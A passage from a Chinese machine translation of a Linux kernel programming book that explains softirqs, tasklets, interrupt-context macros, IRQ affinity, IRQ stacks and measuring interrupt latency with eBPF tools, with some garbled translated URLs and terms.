和它所采取的动作(实际上,它通过`action`函数指针运行的代码)的这种耦合是通过以下代码完成的: - -```sh -// kernel/softirq.c -void open_softirq(int nr, void (*action)(struct softirq_action *)) -{ - softirq_vec[nr].action = action; -} -``` - -下图是 Linux 上可用软 irq 及其优先级的概念性表示(从内核版本 5.4 开始),其中`0`是最高的,`9`是最低的软 IRQ 优先级: - -![](img/f4db6866-2a3b-414f-b0e2-88a2e21c1dfa.png) - -Figure 4.11 – The 10 softirqs on Linux in order of priority (0:highest, 9:lowest) - -下表按照优先级顺序(T0)总结了单个内核的软 IRQ:`HI_SOFTIRQ`是优先级最高的一个,以及动作或向量、它的功能和提到它的用例的注释: - -| **软 irq#** | 软 irq | **评论(它用于/做什么)** | **“动作”或“矢量”功能** | -| `0` | `HI_SOFTIRQ` | **高任务**:最高优先级软件;调用`tasklet_hi_schedule()`时使用。对于大多数用例,不建议这样做。请改用常规小任务(softirq # `6`)。 | `tasklet_hi_action()` | -| `1` | `TIMER_SOFTIRQ` | **定时器**:定时器中断的下半部分运行过期的定时器以及其他“内务”任务(包括调度器 CPU `runqueue` + `vruntime`更新、众所周知的`jiffies_64`变量的增量等)。 | `run_timer_softirq()` | -| `2` | `NET_TX_SOFTIRQ` | **网络**:网络堆栈传输路径下半部分(qdisc)。 | `net_tx_action()` | -| `3` | `NET_RX_SOFTIRQ` | **网络**:网络栈接收路径下半部分(NAPI 轮询)。 | `net_rx_action()` | -| `4` | `BLOCK_SOFTIRQ` | **阻塞**:阻塞处理(完成输入输出操作;调用模块 MQ 的完整功能,`blk_mq_ops`)。 | `blk_done_softirq()` | -| `5` | `IRQ_POLL_SOFTIRQ` | **irqpoll** :实现内核的块层轮询 IRQ 模式(相当于网络层的 NAPI 处理)。 | `irq_poll_softirq()` | -| `6` | `TASKLET_SOFTIRQ` | **常规小任务**:实现小任务下半部机制,唯一动态(灵活)的 softirq:可以根据需要由驱动注册、使用、注销。 | `tasklet_action()` | -| `7` | `SCHED_SOFTIRQ` | **sched** :用于 SMP 上 CFS 调度器的周期性负载均衡;如果需要,将任务迁移到其他运行队列。 | `run_rebalance_domains()` | -| `8` | `HRTIMER_SOFTIRQ` | **HRT** :用于**高分辨率定时器** ( **HRT** )。它在 4.2 版本中被删除,并在 4.16 版本中以更好的形式重新进入内核。 | `hrtimer_run_softirq()` | -| `9` | `RCU_SOFTIRQ` | **RCU** :执行**读拷贝更新** ( **RCU** )处理,这是内核内部使用的一种无锁技术。 | `rcu_core_si() / rcu_process_callbacks()` | - -很有意思;网络和块堆栈是非常高优先级的代码路径(定时器中断也是如此),因此它们的代码必须尽快运行。因此,他们有显式的软件来服务这些关键的代码路径。 - -我们能看到到目前为止已经发射的软件吗?当然,非常像我们如何查看 hardirqs(通过其`proc/interrupts`伪文件)。我们有`/proc/softirqs`伪文件来跟踪软件。下面是我的原生(四核)x86_64 Ubuntu 系统的截图示例: - -![](img/3f611395-ef6b-492d-8729-18ac25cb5dd6.png) - -Figure 4.12 – Output of /proc/softirqs on a native x86_64 system with 4 CPU cores - -就像`/proc/interrupts`一样,上一张截图中显示的数字描述了从系统启动开始,特定软错误在特定 CPU 内核上发生的次数。此外,功能强大的`crash`工具 FYI 有一个有用的命令`irq`,显示关于中断的信息;`irq -b`显示该内核上定义的软 IRQ。 - -### 了解内核如何运行软件 - -以下是在 x86 上触发硬件中断时使用的(近似)调用图: - -```sh -do_IRQ() -> handle_irq() -> entering_irq() -> hardirq top-half runs -> exiting_irq() -> irq_exit() -> invoke_softirq() -> do_softirq() -> ... bottom half runs: tasklet/softirq ... -> restore context -``` - -前面的一些代码路径是依赖于 arch 的。请注意,“将上下文标记为中断”上下文实际上是一个工件。内核被标记为已经在`entering_irq()`函数中进入该上下文,并且一旦`exiting_irq()`返回(在 x86 上)就离开它。但是坚持住!`exiting_irq()`内联函数调用`kernel/softirq.c:irq_exit()`函数。正是在这个例程中,内核处理并消耗所有待定的软 IRQ。基本调用图(从`do_softirq()`开始)如下: - -```sh - do_softirq() -- [assembly]do_softirq_own_stack -- __do_softirq() -``` - -真正的工作发生在内部`__do_softirq()`例程中([https://酏. bootin . com/Linux/v 5.4/source/kernel/softirq . c # L249](https://elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L249))。在这里,任何未决的软件都按优先级顺序消耗。请注意,softirq 处理是在上下文恢复到中断的任务之前完成的。 - -现在,让我们简单关注一下小任务执行的一些内部细节,接下来是如何使用 *ksoftirqd* 内核线程来卸载 softirq 工作。 - -#### 运行小任务 - -一个关于小任务调用内部的词:我们知道小任务软件通过`tasklet_schedule()`运行。该 API 最终调用内核内部的`__tasklet_schedule_common()`函数([https://酏. boot in . com/Linux/v 5.4/source/kernel/softirq . c # L471](https://elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L471)),该函数内部调用`raise_softirq_irqoff(softirq_nr)`([https://酏. boot in . com/Linux/v 5.4/source/kernel/softirq . c # L423](https://elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L423))。这提高了`softirq_nr`软 IRQ;对于常规的小任务,这个值是`TASKLET_SOFTIRQ`,而当通过`tasklet_hi_schedule()` API 调度小任务时,这个值是`HI_SOFTIRQ`,最高优先级的软任务!很少使用它,如果有的话。 - -我们现在知道“时间表”功能已经设置了 softirq 在这里,实际执行发生在该优先级的 softirqs(这里是`0`或`6`)实际运行的时候。运行 softirqs 的函数叫做`do_softirq()`;对于常规小任务,它最终调用`tasklet_action()` softirq 向量(如上表所示);这就调用了`tasklet_action_common()`([https://酏剂. boot in . com/Linux/v 5.4/source/kernel/softirq . c # L501](https://elixir.bootlin.com/linux/v5.4/source/kernel/softirq.c#L501)),它(在一些列表设置之后)启用硬件中断(通过`local_irq_enable()`),然后循环每个 CPU 的小任务列表,消耗(运行)其上的小任务功能。你有没有注意到这里提到的几乎所有功能都是独立的?-这是好事。 - -#### 使用 ksoftirqd 内核线程 - -当有大量软件等待处理时,它们会给系统带来巨大的负载。这在网络(以及某种程度上的块)层中反复出现,导致轮询模式 IRQ 处理的发展;对于网络(接收)路径,它被称为 NAPI,对于数据块层,它只是简单的中断轮询处理。但是,如果即使使用轮询模式处理,软件泛滥仍然存在呢?内核还有一个锦囊妙计:如果 softirq 处理时间超过 2 毫秒,内核会将挂起的 softirq 工作卸载到名为`ksoftirqd/n`的每个 CPU 内核线程上(其中`n`代表 CPU 数量,从`0`开始)。这种方法的一个好处是,因为内核线程必须与其他线程竞争 CPU 资源,所以用户空间最终不会完全缺乏 CPU(这可能发生在纯 hard rq/soft IRQ 负载的情况下)。 - -这听起来是一个不错的解决方案,但现实世界却不一样。2019 年 2 月,一系列用于设置 softirq 矢量细粒度屏蔽的补丁看起来很有希望,但最终似乎失败了(请阅读*进一步阅读*部分中提供的非常有趣的细节)。以下来自 Linus Torvalds 的邮件很好地澄清了真正的问题([https://lore . kernel . org/lkml/CAHk-= wgOZuGZaVOOiC = drg6ykvkogk 8 rrxz _ CrPBMXHKjTg0dg @ mail . Gmail . com/# t](https://lore.kernel.org/lkml/CAHk-=wgOZuGZaVOOiC=drG6ykVkOGk8RRXZ_CrPBMXHKjTg0dg@mail.gmail.com/#t)): - -```sh -... Note that this is all really fairly independent of the whole masking -logic. Yes, the masking logic comes into play too (allowing you to run -a subset of softirq's at a time), but on the whole the complaints I've -seen have not been "the networking softirq takes so long that it -delays USB tasklet handling", but they have been along the lines of -"the networking softirq gets invoked so often that it then floods the -system and triggers [k]softirqd, and _that_ then makes tasklet handling -latency go up insanely ..." -``` - -声明的最后一部分一针见血。 - -So, this begs the question: can we *measure* hardirq/softirq instances and latencies? We cover this in the section *Measuring metrics and latency*. - -### 软 IRQ 和并发性 - -正如我们在小任务方面所了解到的,必须从软件方面理解*并发*的一些要点: - -* 正如小任务(在 SMP 上)所指出的,小任务永远不会与自身并行运行;这是一个更容易使用的特性。软 irq 不是这样:同一个软 IRQ 向量确实可以在另一个 CPU 上与自身并行运行!因此,softirq 矢量代码在使用锁定(和避免死锁)时必须特别小心。 -* 一个软 irq 总是可以被一个 hardirq 中断,包括导致它被引发的 irq(这是因为,和小任务一样,软 IRQ 在本地内核上所有中断都被启用的情况下运行)。 -* 一个 softirq 不能抢占另一个当前正在执行的 softirq,即使它们具有优先级;它们按优先级顺序被消耗。 -* 现实是内核提供了像`spin_lock_bh()`这样的 API,允许你在锁被持有时禁用 softirq 处理。当 hardirq 和 softirq 处理程序都在处理共享数据时,这是防止死锁所必需的。锁定的含义确实很重要。我们将在本书的最后两章详细介绍这一点。 - -## Hardirqs、小任务和线程处理程序——什么时候使用什么 - -如您所知,hardirq 代码旨在进行最简单的设置和中断处理,通过我们之前讨论的延迟功能机制,即小任务和/或 softirq,以安全的方式执行大部分中断处理。这种“下半部分”以及延迟功能处理是按优先级顺序执行的——首先是 softirq 内核定时器,然后是小任务(这两者都只是底层 softirq 机制的特例),然后是线程中断,最后是工作队列(后两者使用底层内核线程)。 - -所以,最大的问题是,当你写你的驱动程序时,你应该使用哪一个?你应该使用延迟机制吗?这真的取决于**时间量** **你的完整中断处理需要**来完成。如果您的完整中断处理可以在几微秒内持续完成,那么只需使用上半部分 hardirq 不需要其他东西。 - -但如果事实并非如此呢?请看下表;第一列指定了完成中断处理所需的总时间,而其他列提供了一些关于其使用的建议以及优缺点: - -| **时间:如果硬件中断处理始终需要** | **做什么** | **前进/后退** | -| < = 10 微秒 | 仅使用 hardirq(上半部分);不需要其他东西。 | 最佳案例;不典型。 | -| 在 10 到 100 微秒之间 | 要么只有 hardirq,要么同时有 hardirq 和一个小任务(softirq)。 | 运行压力测试/工作负载,看看是否真的需要一个小任务。对于线程处理程序或工作队列,不建议使用它。 | -| 100 微秒,非关键设备 | 使用主处理器(hard rq);也就是说,要么使用自己的处理函数(如果需要硬件特定的工作),要么简单地使用内核默认值和一个*线程*处理程序。或者,如果可以接受,只需使用*工作队列*(将在下一章中介绍)。 | 这避免了 softirq 处理,这有助于减少系统延迟,但会导致处理速度稍慢。这是因为线程处理程序与其他线程争夺 CPU 时间。工作队列也基于内核线程,具有相似的特征。 | -| 100 微秒,关键设备(通常是网络、数据块和一些多媒体设备) | 使用主处理器(hard rq/上半部分)和小任务(下半部分)。 | 当大量中断到达时,它会优先处理设备。这也是一个缺点,因为这会导致“活锁”问题和长时间的软延迟“泛滥”!测试并确定。 | -| 100 微秒,极其关键的工作/设备 | 使用一个主处理器(hardirq/上半部分)和一个 hi-tasklet 或者(可能)你自己的(新的!)softirq。 | 这是一个相当极端、不太可能的情况;要添加自己的 softirq,您需要更改内部(GPL-ed)内核代码。这使得维护成本很高(除非你的核心内核改变+驱动是上游贡献的!). | - -当然,第一列中以微秒为单位的时间是有争议的,取决于牌局,并且可以(也将)随着时间而改变。100 微秒作为基线的建议值只是一种试探。 - -正如我们已经提到的,softirq 处理本身应该在几百微秒内完成;大量未处理的软请求会再次导致活锁情况。内核以两种广泛的方式减轻(或消除)这种风险: - -* 线程中断或工作队列(均基于内核线程) -* 调用`ksoftirqd/n`内核线程接管软 irq 处理 - -前面的案例在进程上下文中运行,因此缓解了真正的(用户空间)线程通过调度器需要中央处理器的问题(因为内核线程本身必须竞争中央处理器资源)。 - -关于上表的最后一行,创建一个新 softirq 的唯一方法是真正深入内核代码并修改它。这里,我们指的是修改(GPL 许可的)内核代码库。就嵌入式项目而言,修改内核源代码并不少见。但是,添加 softirq 被认为(非常)不常见,而且根本不是一个好主意,因为如果没有更多的 soft IRQ 处理来应对,延迟可能已经很高了!这种情况已经很多年没有发生了。 - -在实时性和确定性方面,在配套指南 *Linux 内核编程、* *第 11 章*、*CPU 调度程序–第 2 部分*中,在*查看结果*部分,我们提到在运行标准 Linux 的微处理器上,中断处理中的*抖动*(时间方差)约为+/- 10 微秒。有了 RTL 内核,它会好得多,但不是百分之百确定。那么,你能完全确定 Linux 上的中断处理吗?一个有趣的方法是使用 **FIQs** ,也就是某些处理器(尤其是 ARM)提供的所谓*快速中断*机制。它们在 Linux 内核的范围之外工作,这就是为什么编写一个 FIQ 中断处理程序可以消除任何内核引起的抖动。更多信息请看这篇文章:[https://boot in . com/blog/fiq-handlers-in-arm-Linux-kernel/](https://bootlin.com/blog/fiq-handlers-in-the-arm-linux-kernel/)。 - -最后,值得一提的是(在撰写本文时),这里正在进行大量的重新思考:一些内核开发人员的观点是,不再需要整个上半部分下半部分机制。然而,事实是这种机制被深深地嵌入到内核结构中,使得移除它变得非常重要。 - -## 完全理解上下文 - -*中断上下文指南–做什么和不做什么*部分明确指出:当您处于任何类型的中断(或原子)上下文中时,不要调用任何可能阻塞的 API(最终调用`schedule()`)*;*这真的归结为几个关键点(正如我们看到的)。一个是你不应该进行任何内核到用户空间(反之亦然)的数据传输;另外,如果必须分配内存,请使用`GFP_ATOMIC`标志。 - -这当然引出了一个问题:**我如何知道我的驱动程序(或模块)代码当前是在进程还是中断(原子)上下文中运行?**此外,如果它在中断上下文中运行,它是在上半部分还是下半部分?对这一切的简单回答是内核提供了几个宏,你可以用它们来解决这个问题。这些宏在`linux/preempt.h`标题中定义。我们将在这里显示相关的内核注释头,而不是不必要地重复信息;它清楚地命名和描述了这些宏: - -```sh -// include/linux/preempt.h[...]/* - * Are we doing bottom half or hardware interrupt processing? - * - * in_irq() - We're in (hard) IRQ context - * in_softirq() - We have BH disabled, or are processing softirqs - * in_interrupt() - We're in NMI,IRQ,SoftIRQ context or have BH disabled - * in_serving_softirq() - We're in softirq context - * in_nmi() - We're in NMI context - * in_task() - We're in task context - [...] -``` - -We covered a subset of this topic in the companion guide *Linux Kernel Programming,* *Chapter 6*, *Kernel Internals Essentials – Processes and Threads*, under the *Determining the context* section. - -所以,很简单;在我们的`convenient.h`头([https://github . com/PacktPublishing/Linux-Kernel-Programming-Part-2/blob/main/便捷. h](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/blob/main/convenient.h) )中,我们定义了一个名为`PRINT_CTX()`的便捷宏,当被调用时,它会将当前上下文打印到内核日志中。这封邮件的格式非常刻意。以下是调用时发出的典型输出的示例: - -```sh -001) rdwr_drv_secret :29141 | .N.0 /* read_miscdrv_rdwr() */ -``` - -一开始,你可能会觉得这种格式很奇怪。然而,我只是遵循内核的 Ftrace(延迟)输出格式来显示上下文(除了`DURATION`列;我们这里没有)。Ftrace 输出格式得到了开发人员和内核用户的良好支持和理解。以下输出向您展示了如何解释它: - -```sh -The Ftrace 'latency-format' - _-----= irqs-off [d] - / _----= need-resched [N] - | / _---= hardirq/softirq [H|h|s] [1] - || / _--= preempt-depth [#] - ||| / - CPU TASK PID |||| FUNCTION CALLS - | | | |||| | | | | -001) rdwr_drv_secret :29141 | .N.0 /* read_miscdrv_rdwr() */ - -[1] 'h' = hard irq is running ; 'H' = hard irq occurred inside a softirq -``` - -这可能非常有用,因为它可以帮助您理解并调试困难的情况!您不仅可以看到正在运行什么(它的名称和 PID,以及在哪个 CPU 内核上),还可以看到四个有趣的列(以粗体(`.N.0`)突出显示)。前面这四列的 ASCII 艺术视图实际上与 Ftrace 本身生成的相同。让我们来解释一下这四列(在我们这里的例子中,是值`.N.0`): - -* **第 1 栏**:IRQ 状态。如果中断被启用(通常情况下),则显示`.`,如果中断被禁用,则显示`d`。 -* **第 2 列**:位状态`TIF_NEED_RESCHED`。如果`1`,内核将在下一个机会点调用`schedule()`(从系统调用返回或从中断返回,以先到者为准)。设置时显示`N`,清除时显示`.`。 -* **第 3 列**:如果我们处于中断上下文中,我们可以使用更多的宏来检查我们是处于 hardirq(上半部分)还是 softirq(下半部分)上下文中。它显示如下: - * `.`:流程(任务)上下文 - * 中断/原子上下文: - * `h`:哈迪克在跑 - * `H`:hardiq 发生在软 irq 内部(也就是说,hardiq 发生在软 irq 执行时,中断了它) - * `s` : Softirq(或小任务)上下文 - -* **第 4 列**:一个名为`preempt_depth`的整数值(来自位掩码)。本质上,它在每次锁定时递增,在每次解锁时递减。所以,如果它是正的,它意味着代码在一个关键的或原子的部分。 - -以下是我们对`convenient.h:PRINT_CTX()`宏的(部分)代码实现(仔细研究代码,并使用代码中的宏来理解它): - -```sh -// convenient.h -[...] -#define PRINT_CTX() do { \ - int PRINTCTX_SHOWHDR = 0; \ - char intr = '.'; \ - if (!in_task()) { \ - if (in_irq() && in_softirq()) \ - intr = 'H'; /* hardirq occurred inside a softirq */ \ - else if (in_irq()) \ - intr = 'h'; /* hardirq is running */ \ - else if (in_softirq()) \ - intr = 's'; \ - } \ - else \ - intr = '.'; \ -``` - -它基本上以`if`条件为中心,并通过`in_task()`宏检查代码是否在进程(或任务)上下文中,因此是否在中断(或原子)上下文中。 - -You might have come across the `in_interrupt()` macro being used in situations like this. If it returns `true`, your code is within an interrupt context, while if it returns `false`, it isn't. However, the recommendation for modern code is to *not* rely on this macro (and `in_softirq()`) due to the fact that bottom-half disabling can interfere with its correct working). Hence, we use `in_task()` instead. - -让我们继续看`PRINT_CTX()`宏的代码: - -```sh -[...] -if (PRINTCTX_SHOWHDR == 1) \ - pr_debug("CPU) task_name:PID | irqs,need-resched,hard/softirq,preempt-depth /* func_name() */\n"); \ -pr_debug( \ - "%03d) %c%s%c:%d | " \ - "%c%c%c%u " \ - "/* %s() */\n" \ - , smp_processor_id(), \ - (!current-mm?'[':' '), current-comm, (!current-mm?']':' '), current-pid, \ - (irqs_disabled()?'d':'.'), \ - (need_resched()?'N':'.'), \ - intr, \ - (preempt_count() && 0xff), __func__); \ -} while (0) -``` - -如果`PRINTCTX_SHOWHDR`变量设置为`1`,则打印一个表头行;默认情况下是`0`。这是宏发出(调试级)printk(通过`pr_debug()`)的地方,它以 Ftrace(延迟)格式显示上下文信息,如前面的代码片段所示。 - -### 查看上下文–示例 - -例如,在我们的`ch1/miscdrv_rdwr`杂项驱动程序代码(实际上还有其他几个)中,我们使用了这个宏(`PRINT_CTX()`)来显示上下文。以下是我们简单的`rdwr_drv_secret`应用从驱动程序读取“秘密信息”时的一些示例输出(为了清晰起见,我删除了`dmesg`时间戳): - -```sh -CPU) task_name:PID | irqs,need-resched,hard/softirq,preempt-depth /* func_name() */ -001) rdwr_drv_secret :29141 | .N.0 /* read_miscdrv_rdwr() */ -``` - -标题行显示了如何解释输出。(事实上,默认情况下,此标题行是关闭的。我暂时把`PRINTCTX_SHOWHDR`变量的值改成了`1`在这里显示。) - -以下是运行(下半部分)小任务代码时(树外)驱动程序的另一个示例(我们在*部分介绍了小任务理解和使用上下半部分*部分): - -```sh -000) gnome-terminal- :3075 | .Ns1 /* mydrv_tasklet() */ -``` - -让我们更详细地解释前面的输出;从左到右: - -* `000)`:小任务在 CPU 核`0`上运行。 -* 被此中断的任务是带有 PID `3075`的`gnome-terminal*-*`过程。实际上,它可能被在这个小任务运行之前触发的 hardirq 中断了,并且只有在小任务完成后才会恢复执行——最好的情况。 - -* 我们可以从前面的四列输出(第`.Ns1`部分)中推断出以下内容: - * `.`:所有中断(在本地核心上,核心`#0`)被使能。 - * `N`:置位`TIF_NEED_RESCHED`位(表示下一个调度“机会点”命中时调度程序代码将运行;意识到它将很可能由`gnome-terminal-`线程运行(在进程上下文中)。 - * `s`:小任务是一个中断——更准确的说是一个软 IRQ——上下文(准确的说是`TASKLET_SOFTIRQ`软 IRQ);原子环境;这是意料之中的——我们正在运行一个小任务! - * `1`:`preempt_depth`的值为`1`;这意味着当前持有(自旋)锁(同样,这意味着我们当前处于原子环境中)。 -* 在小任务上下文中运行的驱动函数被称为`mydrv_tasklet()`。 - -Often, when viewing a capture like this, in interrupt context, the interrupted task shows up as the `swapper/n` kernel thread (where `n` is the CPU core's number). This typically implies that the `swapper/n`kernel thread was interrupted by the hardirq, further implying that the interrupt triggered while that CPU was in an idle state (since the `swapper/n` threads only run then), which is a pretty common occurrence on a lightly loaded system. - -## linux 如何安排活动的优先级 - -既然您已经了解了色域中的许多领域,我们可以缩小范围,看看 Linux 内核是如何区分事情优先级的。以下(概念性)图表——早期类似图表的超集——巧妙地总结了这一点: - -![](img/afcdef0b-492c-4afe-989d-e62aa5e74277.png) - -Figure 4.13 – Relative priorities across the full stack - user, kernel process context, and kernel interrupt contexts - -这个图很不言自明,请仔细研究一下。 - -在这个冗长的部分中,您已经通过上半部分和下半部分机制了解了中断处理,首先了解了中断处理的原因,以及中断处理是如何组织的并被驱动程序使用的。你现在明白了,所有的下半部分机制都是通过 softirqs 在内部实现的;小任务是主要的下半部分机制,作为驱动程序作者,您可以轻松使用它。当然,这并不意味着你必须使用它们——如果你可以简单地只使用上半部分,或者更好的是,只使用一个线程处理程序,那就太好了。*hardirks、小任务和线程处理程序–当*部分详细介绍了这些注意事项时使用什么。 - -说完了,我们就快完了!但是,一些杂七杂八的区域还是需要穿越的。让我们通过熟悉的*常见问题*格式跳进去看看吧! - -# 回答了一些剩余的常见问题 - -以下是一些关于硬件中断及其处理方式的常见问题。我们还没有触及这些领域: - -* 在多核系统上,所有硬件中断都路由到一个 CPU 吗?如果没有,它们是如何进行负载平衡的?我能换这个吗? -* 内核是否维护独立的 IRQ 栈? -* 如何获取中断的度量?我可以测量中断延迟吗? - -这里的想法是提供简短的答案;我们鼓励你深入挖掘,亲自尝试!冒着重复的风险,记住*经验方法是最好的!* - -## 负载平衡中断和 IRQ 关联性 - -首先,在多核(SMP)系统中,硬件中断路由到 CPU 内核的方式往往是特定于主板和中断控制器的。说到这里,Linux 上的通用 IRQ 层提供了一个非常有用的抽象:它允许(并实现)中断负载平衡,这样就不会有(一组 CPU 中的)CPU 过载。甚至还有前端实用程序`irqbalance(1)`和`irqbalance-ui(1)`,允许管理员(或根用户)执行 IRQ 平衡(`irqbalance-ui`是`irqbalance`的`ncurses`前端)。 - -你能改变发送到处理器内核的中断吗?是的,通过`/proc/irq/IRQ/smp_affinity`伪文件!它是一个位掩码,指定了这个 IRQ 允许路由到的 CPU。**问题是**默认设置总是默认允许所有 CPU 内核处理中断。例如,在具有八个内核的系统上,IRQ 线路的`smp_affinity`值将是`0xff`(二进制`1111 1111`)。为什么这是个问题? **CPU 缓存**。简而言之,如果多个内核处理同一个中断,缓存会被丢弃,因此可能会发生许多缓存无效(以保持内存与中央处理器缓存的一致性),从而导致各种性能问题;在拥有数十个内核和多个网卡的高端系统上尤其如此。 - -We cover more on CPU caching issues in [Chapter 7](7.html), *Kernel Synchronization - Part 2* in the section *Cache effects and false sharing*. - -It's recommended that you keep a single important IRQ line (such as the Ethernet interrupt) affined to a particular CPU core (or at most, to a physical core that is hyperthreaded). Not only that, but keeping the related network application processes and threads affined to the same core will (probably) result in better performance (we covered process/thread CPU affinity in the companion guide *Linux Kernel Programming -* *Chapter 11*, *The CPU Scheduler - Part 2* , in the *Understanding, querying, and setting the CPU affinity mask* section). - -让我们再看几个要点: - -* `/proc/interrupts`的输出将反映 IRQ 亲和力(和 IRQ 平衡),并允许您查看有多少中断被路由到系统上的哪个中央处理器内核。(我们在查看所有分配的中断(IRQ)行一节中详细解释了它的输出。) -* `irqbalance`服务实际上会导致问题,因为它在启动时会将 IRQ 关联性设置恢复为默认值([https://UNIX . stackexchange . com/questions/68812/making-a-IRQ-SMP-affinity-change-permanent](https://unix.stackexchange.com/questions/68812/making-a-irq-smp-affinity-change-permanent));如果您正在仔细调整设置(可能在启动时通过`rc.local`或等效的`systemd`脚本),您可能想要禁用它。)更新版本的`irqbalance` 允许你禁用 IRQ 线路,不会(重新)设置。 - -## 内核是否维护独立的 IRQ 栈? - -在 *第 6 章**内核内部和本质——进程和线程*的配套指南*中,在*组织进程、线程及其堆栈——用户和* *内核空间*部分,我们介绍了一些要点:每个单个用户空间线程都有两个堆栈:用户空间堆栈和内核空间堆栈。当线程在非特权用户空间运行时,它利用用户模式堆栈,而当它切换到特权内核空间时(通过系统调用或异常),它使用其内核模式堆栈工作(返回参考配套指南 *Linux 内核编程*中的*图 6.3* )。接下来,内核模式堆栈非常有限,并且大小固定——只有 2 或 4 页长(取决于您的 arch 是 32 位还是 64 位)!* - -因此,假设您的驱动程序代码(比如说`ioctl()`方法)在一个深度嵌套的代码路径中运行。这意味着该进程上下文的内核模式堆栈已经加载了大量元数据——它所调用的每个函数的堆栈框架。现在,一个硬件中断来了!归根结底,这也是必须运行的代码,因此需要堆栈。我们可以让它简单地使用已经在运行的现有内核模式堆栈,*但是*这大大增加了堆栈溢出的机会(假设我们嵌套很深并且堆栈很小)。内核中的堆栈溢出是灾难性的,因为系统将简单地挂起/死亡,而没有关于根本原因的真正线索(嗯,`CONFIG_VMAP_STACK`内核配置正是为了缓解这种情况而引入的,并且默认情况下在 x86_64 上设置)。 - -因此,长话短说,在几乎所有现代架构上,内核为每个 CPU 分配一个单独的内核空间堆栈用于硬件中断处理。这就是所谓的 **IRQ 堆栈**。当硬件中断到达时,堆栈位置(通过适当的中央处理器堆栈指针寄存器)被切换到正在处理中断的中央处理器的 IRQ 堆栈(并在 IRQ 退出时恢复)。一些 arch(PPC)有一个名为`CONFIG_IRQSTACKS`的内核配置来启用 IRQ 堆栈。IRQ 堆栈的大小是固定的,因为该值依赖于拱形。在 x86_64 上,它有 4 页长(16 KB,典型的 4K 页面大小)。 - -## 测量指标和延迟 - -在某种程度上,我们已经在配套指南 *Linux 内核编程-* *第 11 章**中央处理器调度器–第 2 部分*中*延迟及其测量*部分讨论了什么是延迟以及如何测量调度延迟。在这里,我们将了解系统延迟及其测量的更多方面。 - -大家已经知道,`procfs` 是丰富的信息来源;我们已经看到,每个 CPU 内核生成的 hardirqs 和 softirqs 的数量都可以通过`/proc/interrupts`和`/proc/softirqs`(伪)文件查看。类似信息可通过`/proc/stat`获得。 - -### 用 BPF 测量中断 - -在配套指南 *Linux 内核编程* - *第 1 章*、*内核工作空间设置*中,在*与【e】BPF*的现代跟踪和性能分析部分,我们指出了(最近的 4.x) Linux 的现代跟踪、性能测量和分析方法是如何[ **e]BPF** 、**增强的伯克利数据包过滤器**(也叫 BPF)的。在 it 库存的过多工具中([https://github.com/iovisor/bcc#tools](https://github.com/iovisor/bcc#tools)),有两个工具适合我们追踪、测量和分析中断(hardirqs 和 softirqs)的直接目的。(这些工具在 Ubuntu 上被命名为`toolname-bpfcc`,其中`toolname`是问题工具的名称,如`hardirqs-bpfcc`、`softirqs-bpfcc`)。这些工具动态跟踪中断(在编写时,它们还没有基于内核跟踪点)。您将需要 root 访问权限才能运行这些[e]BPF 工具。 - -Important: You can install the BCC tools for your regular host Linux distro by reading the installation instructions here: [https://github.com/iovisor/bcc/blob/master/INSTALL.md](https://github.com/iovisor/bcc/blob/master/INSTALL.md). Why not do this on our guest Linux VM? You can do this when you're running a distro kernel (such as an Ubuntu- or Fedora-supplied kernel). The reason you can do this is because the installation of the BCC toolset includes (and depends on) the installation of the `linux-headers-$(uname -r)` package; this `linux-headers` package exists only for distro kernels (and not for our custom 5.4 kernel, which you might be running on the guest). - -#### 测量为个人客户服务的时间 - -`hardirqs[-bpfcc]`工具显示维护硬件中断所花费的总时间。下面的截图显示我们正在运行`hardirqs-bpfcc`工具。在这里,您可以看到 3 秒钟内每 1 秒钟(第一个参数)维护 hardirqs 所花费的总时间(第二个参数): - -![](img/0ca71735-eed0-4f33-b301-8e25289d116e.png) - -Figure 4.14 – hardirqs-bpfcc showing the time that was spent servicing hardirqs every 1 second for 3 seconds - -下面的截图显示了我们使用相同的工具生成硬 IRQ 时间分布的直方图(通过`-d`开关): - -![](img/1e6624d8-5cb1-4b22-b1e4-9471f204f17f.png) - -Figure 14.15 – hardirqs-bpfcc -d showing a histogram - -请注意,大多数网络 hardirq(`iwlwifi`,其中 48 个)只需要 4 到 7 微秒就能完成,尽管少数(其中三个)需要 16 到 31 微秒。 - -你可以在[上找到更多如何使用`hardirqs[-bpfcc]`工具的例子。查找它的手册页也是有益的。](https://github.com/iovisor/bcc/blob/master/tools/hardirqs_example.txt) - -#### 测量为单个软件服务的时间 - -类似于我们之前对 hardirqs 所做的,我们现在将使用`softirqs[-bpfcc]`工具。它显示为 softirqs(软件中断)服务所花费的总时间。同样,您将需要 root 访问权限来运行这些[e]BPF 工具。 - -首先,让我们的系统(运行 Ubuntu 的本机 x86_64)承受一些压力(这里,它执行网络下载、网络上传和磁盘活动)。下面的截图显示了我们正在运行`softirqs-bpfcc`工具,该工具提供了关于每 1 秒(第一个参数)维护 softirqs 所花费的总时间的信息(没有第二个参数): - -![](img/6fc84cbc-b454-4a8b-b35e-3026f896669c.png) - -Figure 4.16 – softirqs-bpfcc displaying the time that was spent servicing softirqs every 1 second (under some I/O stress) - -请注意 tasklet softirq 是如何发挥作用的。 - -让我们看另一个使用相同工具生成软 IRQ 时间分布直方图的例子(通过`-d`开关,同样是在系统处于某种输入/输出-网络和磁盘-压力下)。下面的截图显示了我们运行`sudo softirqs-bpfcc -d`命令后得到的输出: - -![](img/6b7e1cc9-c1bc-44d0-ba29-6f4b6604a7f8.png) - -Figure 4.17 – softirqs-bpfcc -d showing a histogram (under some I/O stress) - -同样,在这个小样本集中,大多数`NET_RX_SOFTIRQ`实例仅花费了 4 到 7 微秒,而大多数`BLOCK_SOFTIRQ`实例花费了 16 到 31 微秒来完成。 - -这些 BPF 工具也有手册页(同样,有例子)。我建议您在本机 Linux 系统上安装这些[e]BPF(参见配套指南 *Linux 内核编程-* *第 1 章*、*内核工作区设置*、*带有[e]BPF 的现代跟踪和性能分析*部分)。看一看,自己试试工具。 - -### 使用 Ftrace 处理系统延迟 - -Linux 内核本身内置了一个非常强大的跟踪引擎,名为 **Ftrace** *。*正如您可以通过用户空间中的(哦,太有用了)`strace(1)`(以及通过`ltrace(1)`的库 API)实用程序跟踪系统调用一样,您也可以通过 Ftrace 跟踪内核空间中运行的几乎每个函数。然而,Ftrace 不仅仅是一个功能跟踪器——它是一个框架,是内核底层跟踪基础设施的关键。 - -Steven Rostedt is the 